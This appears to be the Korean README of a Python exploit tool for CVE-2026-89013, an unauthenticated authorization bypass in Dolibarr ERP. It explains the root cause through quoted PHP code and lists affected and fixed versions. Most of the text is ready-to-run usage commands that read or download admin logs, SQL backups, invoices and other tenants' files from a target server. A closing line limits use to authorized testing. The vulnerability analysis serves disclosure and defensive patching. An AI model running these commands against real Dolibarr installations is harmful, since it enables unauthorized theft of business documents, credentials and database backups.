
CVE-2026-89013에 대한 Python 익스플로잇으로, 인증되지 않은 Dolibarr hashp 권한 우회를 통해 임의 파일 읽기가 가능하며, check, list, hunt, read, download 모드를 제공합니다.
CVE-2026-89013 익스플로잇: document.php와 viewimage.php는 hashp 파라미터가 존재할 때 NOLOGIN을 강제합니다. 내부 마커 값 shared는 공유 토큰 해석을 건너뛰지만, 접근 제어 오버라이드는 비어 있지 않은 모든 값에 대해 여전히 작동하여 $accessallowed = 1로 설정하고 dol_check_secure_access_document()의 결과를 폐기합니다. 따라서 인증되지 않은 요청으로 모든 modulepart 트리의 임의 파일을 읽을 수 있습니다: 비즈니스 문서, 관리자 로그, SQL 백업(modulepart=systemtools), 사용자 정의 모듈 소스(modulepart=packages), 그리고 &entity=N을 통한 다른 멀티컴퍼니 엔티티.
| 영향받는 버전 | Dolibarr 23.0.4 – 24.0.0 |
| 수정된 버전 | 24.0.1 |
| 전제 조건 | 없음 (인증 불필요) |
| 영향 | Dolibarr가 관리하는 디렉터리 내 임의 파일 읽기 |
// htdocs/document.php:189 (24.0.0) — 'shared'는 토큰 해석을 건너뜀
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — 하지만 모든 hashp가 접근을 강제함
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
커밋 5028dae981e (2026-08-12)의 회귀(regression)로, 23.0.4와 24.0.0에서 처음 배포되었습니다. 경로 탐색(../)은 서버 측에서 정제됩니다 — 이는 경로 탐색이 아닌 인가 우회입니다.
# 탐지 (안전, 존재하지 않는 카나리 파일)
python3 CVE-2026-89013.py https://erp.local check
# 읽을 수 있는 modulepart 트리
python3 CVE-2026-89013.py https://erp.local list
# 헌트: dolibarr.log + SQL 백업 (생성된 파일명) + 사용자 vcard
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# 읽기 / 다운로드
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# viewimage.php를 통한 PDF
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
표준 라이브러리만 사용 (Python 3.8+). --proxy, --insecure, --timeout을 지원합니다.

승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하거나 테스트에 대한 명시적 허가를 받은 시스템에만 사용하십시오.